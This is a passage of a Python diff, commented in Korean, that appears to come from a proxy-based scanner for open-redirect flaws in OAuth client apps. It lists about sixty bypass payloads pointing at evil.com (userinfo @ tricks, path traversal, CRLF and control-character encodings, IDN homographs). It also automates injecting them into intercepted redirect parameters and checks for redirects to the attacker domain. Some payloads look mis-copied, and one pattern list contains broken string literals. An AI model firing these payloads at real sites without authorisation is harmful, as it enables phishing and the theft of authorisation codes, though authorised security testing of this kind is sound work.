injection in subdomain: evil%ff.target.com" + ), + + BypassPayload( + name=r"fullwidth_slash_direct", + mutate_func=self._mutate_pattern4_1, + description=r"Direct fullwidth slash bypass: target.com/@evil.com" + ), + + BypassPayload( + name=r"fullwidth_slash_encoded", + mutate_func=self._mutate_pattern4_2, + description=r"Encoded fullwidth slash bypass: target.com%EF%BC%8F@evil.com" + ), + + BypassPayload( + name=r"fullwidth_backslash_direct", + mutate_func=self._mutate_pattern4_3, + description=r"Direct fullwidth backslash bypass: target.com\@evil.com" + ), + + BypassPayload( + name=r"fullwidth_backslash_encoded", + mutate_func=self._mutate_pattern4_4, + description=r"Encoded fullwidth backslash bypass: target.com%EF%BC%BC@evil.com" + ), + + BypassPayload( + name=r"mixed_backslash_types", + mutate_func=self._mutate_pattern5, + description=r"Mixed backslash types: target.com\\\evil.com" + ), + + BypassPayload( + name=r"mixed_backslash_fullwidth_slash", + mutate_func=self._mutate_pattern6, + description=r"Mixed backslash and fullwidth slash: target.com\\/evil.com" + ), + + BypassPayload( + name=r"path_traversal_basic", + mutate_func=self._mutate_pattern7_1, + description=r"Basic path traversal: target.com/path/../../../evil.com" + ), + BypassPayload( + name=r"path_traversal_deep", + mutate_func=self._mutate_pattern7_2, + description=r"Deep path traversal: target.com/path/../../../../../../../../evil.com" + ), + BypassPayload( + name=r"path_traversal_absolute", + mutate_func=self._mutate_pattern7_3, + description=r"Absolute path traversal: target.com/../evil.com" + ), + BypassPayload( + name=r"path_traversal_mixed", + mutate_func=self._mutate_pattern7_4, + description=r"Mixed slash traversal: target.com/path/.././.././evil.com" + ), + BypassPayload( + name=r"path_traversal_semicolon", + mutate_func=self._mutate_pattern7_5, + description=r"Semicolon path traversal: target.com/path/..;/..;/evil.com" + ), + BypassPayload( + name=r"path_traversal_encoded", + mutate_func=self._mutate_pattern7_6, + description=r"URL encoded traversal: target.com/path/%2e%2e/%2e%2e/evil.com" + ), + BypassPayload( + name=r"path_traversal_double_encoded", + mutate_func=self._mutate_pattern7_7, + description=r"Double encoded traversal: target.com/path/%252e%252e%252f/evil.com" + ), + BypassPayload( + name=r"path_traversal_hex", + mutate_func=self._mutate_pattern7_8, + description=r"Hex encoded traversal: target.com/path/%2e%2e%2f%2e%2e%2f/evil.com" + ), + BypassPayload( + name=r"path_traversal_unicode", + mutate_func=self._mutate_pattern7_9, + description=r"Unicode dot traversal: target.com/path/../../evil.com" + ), + BypassPayload( + name=r"path_traversal_backslash", + mutate_func=self._mutate_pattern7_10, + description=r"Backslash traversal: target.com/path\\..\\..\\evil.com" + ), + BypassPayload( + name=r"path_traversal_overlong", + mutate_func=self._mutate_pattern7_11, + description=r"Overlong UTF-8 traversal: target.com/path/%c0%ae%c0%ae/evil.com" + ), + BypassPayload( + name=r"path_traversal_null", + mutate_func=self._mutate_pattern7_12, + description=r"Null byte traversal: target.com/path/../%00../evil.com" + ), + + BypassPayload( + name=r"wildcard_subdomain_bypass", + mutate_func=self._mutate_pattern8, + description=r"Wildcard subdomain bypass: attacker.target.com" + ), + + BypassPayload( + name=r"backslash_bypass", + mutate_func=self._mutate_pattern9, + description=r"Backslash URL parsing bypass: target.com\\evil.com" + ), + + BypassPayload( + name=r"double_slash", + mutate_func=self._mutate_pattern10, + description=r"Double slash bypass: target.com//evil.com" + ), + + BypassPayload( + name=r"question_mark", + mutate_func=self._mutate_pattern11, + description=r"Question mark bypass: target.com?evil.com" + ), + + BypassPayload( + name=r"idn_homograph", + mutate_func=self._mutate_pattern12, + description=r"IDN homograph attack using visually similar characters: gооgle.com (Cyrillic)" + ), + + BypassPayload( + name=r"ipv6_bypass", + mutate_func=self._mutate_pattern13, + description=r"IPv6 address bypass: evil.com@[::1] or evil.com@[2001:db8::1]" + ), + + BypassPayload( + name=r"mixed_case_idn_combo", + mutate_func=self._mutate_pattern14, + description=r"Mixed case + IDN combo: ЕVIL.example@TARGET.COM" + ), + + BypassPayload( + name=r"fragment_bypass", + mutate_func=self._mutate_pattern15, + description=r"Fragment identifier bypass: target.com#@evil.com" + ), + + BypassPayload( + name=r"combined_bypass", + mutate_func=self._mutate_pattern16, + description=r"Combined multiple bypass techniques: evil.com@target.com//../../evil.com" + ), + + BypassPayload( + name=r"path_backslash_domain", + mutate_func=self._mutate_pattern17, + description=r"Path backslash domain bypass: target.com\\.evil.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_basic", + mutate_func=self._mutate_pattern18_1, + description=r"Basic mixed encoding: evil.com%09%0A%20@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_full", + mutate_func=self._mutate_pattern18_2, + description=r"Full control char chaos: evil.com%0A%0D%09%0B%0C%20@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_special", + mutate_func=self._mutate_pattern18_3, + description=r"Control + special chars: evil.com%09%0A%20%00%FF@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_double", + mutate_func=self._mutate_pattern18_4, + description=r"Double encoded chaos: evil.com%2509%250A%2520@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_reverse", + mutate_func=self._mutate_pattern18_5, + description=r"Reverse control chars: evil.com%20%0A%09@target.com" + ), + + BypassPayload( + name=r"mixed_encoding_chaos_repeat", + mutate_func=self._mutate_pattern18_6, + description=r"Repeated control chars: evil.com%09%09%09@target.com" + ), + + BypassPayload( + name=r"subdomain_confusion_hyphen", + mutate_func=self._mutate_pattern19, + description=r"Subdomain confusion with hyphen: target-com.evil.com" + ), + + BypassPayload( + name=r"semicolon_userinfo_bypass", + mutate_func=self._mutate_pattern20, + description=r"Semicolon userinfo bypass: target.com;evil.com" + ), + + BypassPayload( + name=r"tab_character_bypass", + mutate_func=self._mutate_pattern21, + description=r"Tab character bypass using %09: evil.com%09@target.com" + ), + + BypassPayload( + name=r"space_character_bypass", + mutate_func=self._mutate_pattern22, + description=r"Space character bypass using %20: evil.com%20@target.com" + ), + + BypassPayload( + name=r"form_feed_bypass", + mutate_func=self._mutate_pattern23, + description=r"Form feed character bypass using %0c: evil.com%0c@target.com" + ), + + BypassPayload( + name=r"vertical_tab_bypass", + mutate_func=self._mutate_pattern24, + description=r"Vertical tab bypass using %0b: evil.com%0b@target.com" + ), + + BypassPayload( + name=r"%0a@", + mutate_func=self._mutate_pattern25, + description=r"Newline character bypass using %0a@: evil.com%0a@target.com" + ), + + BypassPayload( + name=r"%0d@", + mutate_func=self._mutate_pattern26, + description=r"Carriage return bypass using %0d@: evil.com%0d@target.com (URL parser confusion)" + ), + + BypassPayload( + name=r"crlf_injection", + mutate_func=self._mutate_pattern27, + description=r"CRLF injection bypass: evil.com%0D%0A@target.com" + ), + + BypassPayload( + name=r"mixed_case_scheme", + mutate_func=self._mutate_pattern28, + description=r"Mixed case scheme bypass: HtTpS://evil.com@target.com" + ), + + BypassPayload( + name=r"scheme_dot_injection", + mutate_func=self._mutate_pattern29, + description=r"Scheme dot injection: https.://evil.com@target.com" + ), + + BypassPayload( + name=r"port_encoded_bypass", + mutate_func=self._mutate_pattern30, + description=r"Port encoded bypass: target.com:%40evil.com (%40 = @)" + ), + + BypassPayload( + name=r"ampersand_encoded_bypass", + mutate_func=self._mutate_pattern31, + description=r"Ampersand encoded bypass: target.com &%40evil.com" + ), + + BypassPayload( + name=r"underscore_encoded_bypass", + mutate_func=self._mutate_pattern32, + description=r"Underscore encoded bypass: target.com.%5F.evil.com (%5F = _)" + ), + + BypassPayload( + name=r"comma_separator_bypass", + mutate_func=self._mutate_pattern33, + description=r"Comma separator bypass: target.com.%2C.evil.com (%2C = ,)" + ), + + BypassPayload( + name=r"schemeless_bypass", + mutate_func=self._mutate_pattern34, + description=r"Schemeless bypass: //evil.com" + ), + + BypassPayload( + name=r"schema_colon_bypass", + mutate_func=self._mutate_pattern35, + description=r"Schema colon bypass: http:evil.com" + ), + + BypassPayload( + name=r"null_byte_prefix", + mutate_func=self._mutate_pattern36, + description=r"Null byte prefix: %00http://evil.com" + ), + + BypassPayload( + name=r"unicode_spaces_bypass", + mutate_func=self._mutate_pattern37, + description=r"Unicode spaces bypass: evil.com%E2%80%8Btarget.com (zero-width space)" + ), + + BypassPayload( + name=r"bracket_encoded_bypass", + mutate_func=self._mutate_pattern38, + description=r"Bracket encoded bypass: target.com%5B%40evil.com (%5B = [)" + ), + + BypassPayload( + name=r"protocol_omit_backslash", + mutate_func=self._mutate_pattern39, + description=r"Protocol omit with backslash: \\\\evil.com\\target.com" + ), + + BypassPayload( + name=r"query_internal_bypass", + mutate_func=self._mutate_pattern40, + description=r"Internal query bypass: target.com?url=target.com&redirect=evil.com" + ), + + BypassPayload( + name=r"anchor_at_combo", + mutate_func=self._mutate_pattern41, + description=r"Anchor + @ combo: target.com#evil.com@target.com" + ), + + BypassPayload( + name=r"emoji_domain_bypass", + mutate_func=self._mutate_pattern42, + description=r"Emoji domain bypass: https://😈.evil.com" + ), + + BypassPayload( + name=r"punycode_idn_bypass", + mutate_func=self._mutate_pattern43, + description=r"Punycode IDN bypass: https://xn--e1afmkfd.xn--p1ai" + ), + + BypassPayload( + name=r"backtick_at_combo", + mutate_func=self._mutate_pattern44, + description=r"Backtick @ combo: evil.com`@target.com" + ), + + BypassPayload( + name=r"complex_encoding_mix", + mutate_func=self._mutate_pattern45, + description=r"Complex encoding mix: evil%2Ecom%09%0A%FF@target.com" + ), + + BypassPayload( + name=r"question_backslash_combo", + mutate_func=self._mutate_pattern46, + description=r"Question backslash combo: target.com?\\evil.com" + ), + + ] + self.session = None + + """ 우회 URL 생성 목록 """ + # 1. @ + def _mutate_pattern1(self, original: str) -> str: + return f"https://evil.com@{original}" + + # 2. %ff@ - 유니코드 바이트 우회 + def _mutate_pattern2(self, original: str) -> str: + return f"https://evil%ff@{original}" + + # 3. %ff 서브도메인 - 유니코드 바이트 서브도메인 삽입 + def _mutate_pattern3(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + return f"https://evil%ff.{parsed.netloc}{path_part}" + + # 4. 전각 문자 패턴 - /, %EF%BC%8F, \, %EF%BC%BC + # 4_1. 직접 전각 슬래시 + def _mutate_pattern4_1(self, original: str) -> str: + return f"https://{original}/@evil.com" + + # 4_2. URL 인코딩된 전각 슬래시(%EF%BC%8F) + def _mutate_pattern4_2(self, original: str) -> str: + return f"https://{original}%EF%BC%8F@evil.com" + + # 4_3. 직접 전각 백슬래시 + def _mutate_pattern4_3(self, original: str) -> str: + return f"https://{original}\@evil.com" + + # 4_4. URL 인코딩된 전각 백슬래시(%EF%BC%BC) + def _mutate_pattern4_4(self, original: str) -> str: + return f"https://{original}%EF%BC%BC@evil.com" + + # 5. 백슬래시 + 전각 백슬래시 조합 + def _mutate_pattern5(self, original: str) -> str: + return f"https://{original}\\\evil.com" + + # 6. 백슬래시 + 전각 슬래시 + def _mutate_pattern6(self, original: str) -> str: + return f"https://{original}\\/evil.com" + + # 7. 경로 순회 - Path traversal bypass + # 7-1. 기본 경로 순회 + def _mutate_pattern7_1(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}/../../../evil.com" + + # 7-2. 더 많은 경로 순회 + def _mutate_pattern7_2(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}/../../../../../../../../evil.com" + + # 7-3. 절대 경로로 우회 + def _mutate_pattern7_3(self, original: str) -> str: + parsed = urlparse(original) + return f"https://{parsed.netloc}/../evil.com" + + # 7-4. 혼합 슬래시 패턴 + def _mutate_pattern7_4(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}/.././.././evil.com" + + # 7-5. 점 뒤에 추가 문자 + def _mutate_pattern7_5(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}/..;/..;/evil.com" + + # 7-6. URL 인코딩된 경로 순회 + def _mutate_pattern7_6(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %2e = ., %2f = / + return f"https://{parsed.netloc}{base_path}/%2e%2e/%2e%2e/%2e%2e/evil.com" + + # 7-7. 이중 URL 인코딩 + def _mutate_pattern7_7(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %252e = 이중 인코딩된 . + return f"https://{parsed.netloc}{base_path}/%252e%252e%252f%252e%252e%252fevil.com" + + # 7-8. 16진수 인코딩 + def _mutate_pattern7_8(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # 0x2e2e2f = ../ + return f"https://{parsed.netloc}{base_path}/%2e%2e%2f%2e%2e%2f%2e%2e%2fevil.com" + + # 7-9. 유니코드 정규화 우회 + def _mutate_pattern7_9(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # 유니코드 점 문자들 (U+002E, U+FF0E 등) + return f"https://{parsed.netloc}{base_path}/../../evil.com" + + # 7-10. 백슬래시 + 경로 순회 조합 + def _mutate_pattern7_10(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + return f"https://{parsed.netloc}{base_path}\\..\\..\\evil.com" + + # 7-11. 오버롱 UTF-8 인코딩 + def _mutate_pattern7_11(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %c0%ae = 오버롱 UTF-8로 인코딩된 점 + return f"https://{parsed.netloc}{base_path}/%c0%ae%c0%ae/%c0%ae%c0%ae/evil.com" + + # 7-12. 널 바이트 삽입 + def _mutate_pattern7_12(self, original: str) -> str: + parsed = urlparse(original) + base_path = parsed.path if parsed.path else "/callback" + # %00 = 널 바이트 + return f"https://{parsed.netloc}{base_path}/../%00../../../evil.com" + + # 8. 와일드카드 서브도메인 우회 + def _mutate_pattern8(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # 공격자가 제어하는 서브도메인으로 *.target.com 정책 우회 + return f"https://attacker.{parsed.netloc}{path_part}" + + # 9. 백슬래시 우회 - Dart SDK Issue #50075 + def _mutate_pattern9(self, original: str) -> str: + return f"https://{original}\\evil.com" + + # 10. 이중 슬래시 + def _mutate_pattern10(self, original: str) -> str: + return f"https://{original}//evil.com" + + # 11. 물음표 우회 + def _mutate_pattern11(self, original: str) -> str: + return f"https://{original}?evil.com" + + # 12. IDN 동형문자 공격 - 시각적으로 동일하지만 다른 도메인 + def _mutate_pattern12(self, original: str) -> str: + # RFC 2606 테스트 도메인 + IDN 문자 о(키릴 문자 U+043E) vs o(라틴 문자 U+006F) 사용 + return f"https://еvil.example@{original}" + + # 13. IPv6 주소 우회 - 안전한 버전 + def _mutate_pattern13(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + + # 안전한 IPv6 @ 우회 패턴 + if "localhost" in parsed.netloc: + mutated = f"https://evil.example@[::1]:3000{path_part}" + else: + # RFC 3849 문서용 IPv6 주소 사용 (라우팅 안 됨) + mutated = f"https://evil.example@[2001:db8::1]{path_part}" + + return mutated + + # 14. 대소문자 + IDN 문자 조합으로 필터 우회 + def _mutate_pattern14(self, original: str) -> str: + return f"https://ЕVIL.example@{original}" # Е는 키릴 문자 + + # 15. Fragment identifier 우회 + def _mutate_pattern15(self, original: str) -> str: + # Fragment(#)로 실제 목적지 숨기기 - 브라우저는 fragment 부분을 서버에 전송하지 않음 + return f"https://{original}#@evil.com" + + # 16. 복합 우회 패턴 - 여러 기법 동시 적용 + def _mutate_pattern16(self, original: str) -> str: + # @ 우회 + 이중 슬래시 + 경로 순회 조합 + return f"https://evil.com@{original}//../../evil.com" + + # 17. 경로에 백슬래시 + 도메인 우회 (Chrome, Firefox, Edge) + def _mutate_pattern17(self, original: str) -> str: + # target.com\\.evil.com 패턴 - 기존 백슬래시 패턴과는 다른 위치 + return f"https://{original}\\.evil.com" + + # 18_1. 혼합 인코딩 우회 (여러 인코딩 방식 조합) + def _mutate_pattern18_1(self, original: str) -> str: + # 탭 + 줄바꿈 + 공백 + return f"https://evil.com%09%0A%20@{original}" + + # 18_2. 모든 제어 문자 조합 + def _mutate_pattern18_2(self, original: str) -> str: + # 줄바꿈 + 캐리지리턴 + 탭 + 수직탭 + 폼피드 + 공백 + return f"https://evil.com%0A%0D%09%0B%0C%20@{original}" + + # 18_3. 제어 문자 + 특수 문자 + def _mutate_pattern18_3(self, original: str) -> str: + return f"https://evil.com%09%0A%20%00%FF@{original}" + + # 18_4. 이중 인코딩 + 제어 문자 + def _mutate_pattern18_4(self, original: str) -> str: + return f"https://evil.com%2509%250A%2520@{original}" + + # 18_5. 역순 제어 문자 + def _mutate_pattern18_5(self, original: str) -> str: + return f"https://evil.com%20%0A%09@{original}" + + # 18_6. 반복 제어 문자 + def _mutate_pattern18_6(self, original: str) -> str: + return f"https://evil.com%09%09%09@{original}" + + # 19. 서브도메인 혼동 우회 (하이픈 버전) + def _mutate_pattern19(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + # target.com → target-com.evil.com + host_with_hyphen = parsed.netloc.replace('.', '-').replace(':', '-') + return f"https://{host_with_hyphen}.evil.com{path_part}" + + # 20. 세미콜론 userinfo 우회 + def _mutate_pattern20(self, original: str) -> str: + return f"https://{original};evil.com" + + # 21. %09 - 탭 문자 우회 + def _mutate_pattern21(self, original: str) -> str: + return f"https://evil.com%09@{original}" + + # 22. %20 - 공백 문자 우회 + def _mutate_pattern22(self, original: str) -> str: + return f"https://evil.com%20@{original}" + + # 23. %0c - 폼 피드 문자 우회 + def _mutate_pattern23(self, original: str) -> str: + return f"https://evil.com%0c@{original}" + + # 24. %0b - 수직 탭 문자 우회 + def _mutate_pattern24(self, original: str) -> str: + return f"https://evil.com%0b@{original}" + + # 25. %0a@ - 줄바꿈 문자 우회 + def _mutate_pattern25(self, original: str) -> str: + return f"https://evil.com%0a@{original}" + + # 26. %0d@ - 캐리지 리턴 우회 (URL parser confusion) + def _mutate_pattern26(self, original: str) -> str: + return f"https://evil.com%0d@{original}" + + # 27. CRLF 인젝션 우회 + def _mutate_pattern27(self, original: str) -> str: + # %0D%0A = CRLF (Carriage Return + Line Feed) - HTTP 헤더 인젝션 + return f"https://evil.com%0D%0A@{original}" + + # 28. HTTP/HTTPS 대소문자 혼합 스키마 우회 + def _mutate_pattern28(self, original: str) -> str: + return f"HtTpS://evil.com@{original}" + + # 29. 점(.) 문자 우회 - 스키마와 호스트 사이에 점 삽입 (표준 위반 = 취약점) + def _mutate_pattern29(self, original: str) -> str: + return f"https.://evil.com@{original}" + + # 30. 포트 인코딩 우회 - %40 = @ + def _mutate_pattern30(self, original: str) -> str: + return f"https://{original}:%40evil.com" + + # 31. 앰퍼샌드 인코딩 우회 - URL 파싱 혼동 + def _mutate_pattern31(self, original: str) -> str: + return f"https://{original} &%40evil.com" + + # 32. 언더스코어 인코딩 우회 - 도메인 분리자로 오인 + def _mutate_pattern32(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + return f"https://{parsed.netloc}.%5F.evil.com{path_part}" + + # 33. 콤마 분리자 우회 - 일부 파서에서 분리자로 인식 + def _mutate_pattern33(self, original: str) -> str: + parsed = urlparse(original) + path_part = parsed.path if parsed.path else "" + return f"https://{parsed.netloc}.%2C.evil.com{path_part}" + + # 34. 스키마 없는 우회 + def _mutate_pattern34(self, original: str) -> str: + return f"//evil.com/{original}" + + # 35. 스키마 콜론 우회 - RFC 위반 파싱 + def _mutate_pattern35(self, original: str) -> str: + return f"http:evil.com/{original}" + + # 36. 널 바이트 prefix - 파싱 혼동 + def _mutate_pattern36(self, original: str) -> str: + return f"%00https://evil.com/{original}" + + # 37. 유니코드 공백 문자 - %E2%80%8B = zero-width space + def _mutate_pattern37(self, original: str) -> str: + return f"https://evil.com%E2%80%8B@{original}" + + # 38. 대괄호 인코딩 우회 + def _mutate_pattern38(self, original: str) -> str: + return f"https://{original}%5B%40evil.com" + + # 39. 프로토콜 생략 + 백슬래시 + def _mutate_pattern39(self, original: str) -> str: + parsed = urlparse(original) + return f"\\\\evil.com\\{parsed.netloc}" + + # 40. 쿼리 파라미터 내부 우회 + def _mutate_pattern40(self, original: str) -> str: + parsed = urlparse(original) + return f"https://{parsed.netloc}?url={parsed.netloc}&redirect=evil.com" + + # 41. 앵커 태그 + @ 조합 + def _mutate_pattern41(self, original: str) -> str: + parsed = urlparse(original) + return f"https://{parsed.netloc}#evil.com@{parsed.netloc}" + + # 42. 이모티콘 도메인 + def _mutate_pattern42(self, original: str) -> str: + return f"https://😈.evil.com" + + # 43. Punycode IDN 우회 (러시아어 evil.ru) + def _mutate_pattern43(self, original: str) -> str: + return f"https://xn--e1afmkfd.xn--p1ai" # evil в 러시아어 + + # 44. 백틱 + @ 조합 + def _mutate_pattern44(self, original: str) -> str: + return f"https://evil.com`@{original}" + + # 45. 복잡한 인코딩 혼합 + def _mutate_pattern45(self, original: str) -> str: + return f"https://evil%2Ecom%09%0A%FF@{original}" + + # 46. 물음표 + 백슬래시 조합 + def _mutate_pattern46(self, original: str) -> str: + return f"https://{original}?\\evil.com" + + '''aiohttp 세션 생성 (재사용)''' + async def _get_session(self): + if self.session is None: + timeout = aiohttp.ClientTimeout(total=10) + self.session = aiohttp.ClientSession(timeout=timeout) + return self.session + + '''세션 정리''' + async def close_session(self): + if self.session: + await self.session.close() + self.session = None + + """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ + async def _send_request(self, url, headers=None): + try: + session = await self._get_session() # 세션 준비 + request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 + + # 서버에 GET 요청 전송 (allow_redirects=False로 리다이렉트 추적) + async with session.get(url, allow_redirects=False, headers=request_headers) as response: + result = { + 'status': response.status, + 'location': response.headers.get("Location", ""), + 'headers': dict(response.headers) + } + + # 성공/실패 기록 (rate limiter용) + if response.status in [200, 301, 302, 303, 307, 308]: + redirect_limiter.record_success() + else: + redirect_limiter.record_failure(f"HTTP {response.status}") + + return result + + except Exception as e: + redirect_limiter.record_failure(str(e)) + print(f"[ERROR] 요청 실패 ({url}): {e}") + return {'status': 500, 'location': '', 'headers': {}} + + """ redirect_uri가 악성 패턴을 포함하는지 빠르게 검사 """ + def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool: + try: + base_parsed = urlparse(base_url) + base_host = base_parsed.hostname + + if not base_host: + return False + + # 악성 패턴 빠른 검사 (로그 없이) + malicious_patterns = [ + "еvil.example", "[::1]", "[2001:db8", "#@", "%ff", + "/", "\", "%EF%BC%8F", "%EF%BC%BC", "evil.com" + ] + + for pattern in malicious_patterns: + if pattern in redirect_uri: + return False + + # @ 기반 우회 패턴 검사 + if "@" in redirect_uri: + at_parts = redirect_uri.split('@') + if len(at_parts) >= 2: + before_at = at_parts[0] + if '//' in before_at: + potential_domain = before_at.split('//')[-1] + if '.' in potential_domain and potential_domain != base_host: + return False + + # 일반 도메인 검증 + if "@" not in redirect_uri: + redirect_parsed = urlparse(redirect_uri) + redirect_host = redirect_parsed.hostname + if redirect_host: + return (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) + + return True + + except Exception: + return False + + """ Location 헤더에서 authorization code 추출 """ + def _extract_code_from_location(self, location: str) -> str: + if not location: + return "" + + try: + parsed = urlparse(location) + query = parse_qs(parsed.query) + return query.get('code', [''])[0] + except: + return "" + + """진짜 redirect 파라미터인지 판단""" + def _is_real_redirect_param(self, param_name, param_value): + # redirect_uri 제거하고 클라이언트 앱 파라미터들만 + obvious_redirect_params = [ + "next", "return_to", "redirect", "redirect_url", + "continue", "goto", "destination", "forward", + "callback_url", "back" + ] + + if param_name in obvious_redirect_params: + return True + + # 모호한 파라미터는 값으로 판단 + ambiguous_params = ["url", "target", "link", "state"] + if param_name in ambiguous_params: + if (param_value.startswith(('http', '/', '.')) or + '/' in param_value or + len(param_value) > 15): + return True + + return False + + def _is_oauth_request_worth_testing(self, url, parsed, query): + """OAuth 콜백 완료 후 클라이언트 앱 테스트""" + + # OAuth 제공자 도메인은 제외 + oauth_provider_domains = [ + "accounts.google.com", + "www.facebook.com", + "github.com", + "login.microsoftonline.com" + ] + + # OAuth 제공자 요청은 스킵 + if any(provider in parsed.netloc for provider in oauth_provider_domains): + print(f"[DEBUG] ❌ OAuth 제공자 요청 - 클라이언트 테스트 대상 아님: {parsed.netloc}") + return False + + # 클라이언트 앱의 OAuth 콜백/로그인 경로들 + oauth_callback_paths = [ + "/auth/callback", "/oauth/callback", "/login/callback", + "/auth", "/login", "/sso", "/signin", "/callback" + ] + + has_oauth_path = any(path in parsed.path for path in oauth_callback_paths) + if not has_oauth_path: + return False + + # OAuth 성공 파라미터 확인 + oauth_success_params = ["code", "access_token", "id_token"] + has_oauth_success = any(param in query for param in oauth_success_params) + + # redirect 관련 파라미터 확인 + redirect_params = ["next", "return_to", "redirect", "redirect_url", "continue", "goto", "state"] + has_redirect_param = any(param in query for param in redirect_params) + + if has_oauth_path and (has_oauth_success or has_redirect_param): + print(f"[DEBUG] 🎯 클라이언트 OAuth 콜백/로그인 URL 감지!") + print(f"[DEBUG] Host: {parsed.netloc}") + print(f"[DEBUG] Path: {parsed.path}") + print(f"[DEBUG] OAuth success: {has_oauth_success}") + print(f"[DEBUG] Has redirect: {has_redirect_param}") + return True + + return False + + """ Open Redirect 탐지 로직 - 요청 감지 단계 """ + async def test(self, flow: http.HTTPFlow): + url = flow.request.pretty_url + parsed = urlparse(url) + query = parse_qs(parsed.query) + + # GET 요청만 처리 + if flow.request.method != "GET": + return + + # OAuth 요청인지 먼저 확인 (API 검증 전에) + if not self._is_oauth_request_worth_testing(url, parsed, query): + return # OAuth 요청이 아니면 바로 종료 + + # 이미 이 타겟을 테스트 중인지 확인 + target_key = f"{parsed.netloc}" + if target_key in self.testing_targets: + print(f"[OAUTH_SKIP] 이미 {target_key} 테스트 진행 중 - 중복 테스트 방지") + return + + # 테스트 시작 표시 + self.testing_targets.add(target_key) + + try: + print(f"[CLIENT_TARGET] 🎯 클라이언트 앱 Open Redirect 테스트 대상: {parsed.netloc}") + + # redirect 파라미터가 있는지 확인 + redirect_param = None + original_redirect_value = None + + # 클라이언트 앱 파라미터들만 체크 + redirect_params = [ + "next", "return_to", "redirect", "redirect_url", + "continue", "goto", "destination", "callback_url", + "forward", "state" # state도 리다이렉트용으로 쓰이기도 함 + ] + + for param in redirect_params: + if param in query: + value = query[param][0] + if self._is_real_redirect_param(param, value): + redirect_param = param + original_redirect_value = value + break + + if not redirect_param: + print(f"[OAUTH_SKIP] redirect 파라미터 없음 - 테스트 건너뛰기") + return + + print(f"[OPEN_REDIRECT] 파라미터: {redirect_param}={original_redirect_value}") + print(f"[OPEN_REDIRECT] 총 우회 패턴: {len(self.bypass_payloads)}") + print("-" * 50) + + redirect_limiter.reset_for_new_target() + + tested_count = 0 + success_count = 0 + + # 모든 우회 패턴 테스트 + for payload in self.bypass_payloads: + try: + print(f"[{tested_count+1:2d}/{len(self.bypass_payloads)}] {payload.name}", end=" ... ") + + result = await self._test_bypass_pattern( + url, query, parsed, original_redirect_value, payload, redirect_param, headers={} + ) + tested_count += 1 + + if result: + success_count += 1 + print("🚨 VULNERABLE!") + else: + print("✓") + + except Exception as e: + print(f"❌ ERROR: {e}") + tested_count += 1 + continue + + print("-" * 50) + print(f"[OPEN_REDIRECT] ✅ 테스트 완료!") + + if success_count > 0: + print(f"[OPEN_REDIRECT] 🚨 Open Redirect 취약점: {success_count}개") + else: + print(f"[OPEN_REDIRECT] ✅ 취약점 없음") + + finally: + # 테스트 완료 후 제거 + self.testing_targets.discard(target_key) + + """ 우회 URL 생성 및 요청 전송 """ + async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_value, payload, redirect_param, headers): + + # 레이트 리미팅 체크 추가 + can_proceed = await redirect_limiter.wait_if_needed(payload.name) + if not can_proceed: + return False + + try: + # 원본 redirect 값에 우회 패턴 적용 + if original_redirect_value.startswith('http'): + # 이미 완전한 URL인 경우 + bypassed_redirect = payload.mutate(original_redirect_value) + else: + # 상대 경로인 경우 완전한 URL로 만들어서 우회 + full_original = f"https://{original_redirect_value}" + bypassed_redirect = payload.mutate(full_original) + + # 새로운 쿼리 구성 + modified_query = query.copy() + modified_query[redirect_param] = [bypassed_redirect] # 동적 파라미터명 + new_query_string = urlencode(modified_query, doseq=True) + test_url = urlunparse(parsed_url._replace(query=new_query_string)) + + # 요청 전송 + response = await self._send_request(test_url, headers) + + # Open Redirect 응답 분석 + result = await self._analyze_response( + original_url, test_url, bypassed_redirect, response, payload + ) + + return result + + except Exception as e: + print(f"[ERROR] {payload.name} 테스트 실패: {e}") + return False + + """ Open Redirect 전용 응답 분석 """ + async def _analyze_response(self, original_url, test_url, bypassed_redirect, response, payload): + status = response['status'] + location = response['location'] + + # 리다이렉트 응답인지 확인 + if status not in [301, 302, 303, 307, 308]: + return False + + if not location: + return False + + # 악성 도메인으로 리다이렉트되었는지 확인 + if self._is_redirected_to_malicious_domain(location): + print(f"[🎯 VULNERABILITY] {payload.name} Open Redirect 성공!") + print(f"[CRITICAL] 악성 도메인으로 리다이렉트: {location}") + await self._report_open_redirect_vulnerability( + original_url, test_url, bypassed_redirect, + location, payload + ) + return True + + return False + + def _is_redirected_to_malicious_domain(self, location: str) -> bool: + """실제로 악성 도메인으로 리다이렉트되었는지 확인""" + + print(f"[DEBUG] 리다이렉트 분석: {location}") + + try: + location_parsed = urlparse(location) + location_host = location_parsed.hostname + + # 실제 호스트만 확인 (URL 파라미터는 무시) + if not location_host: + return False + + # Facebook 자체 도메인이면 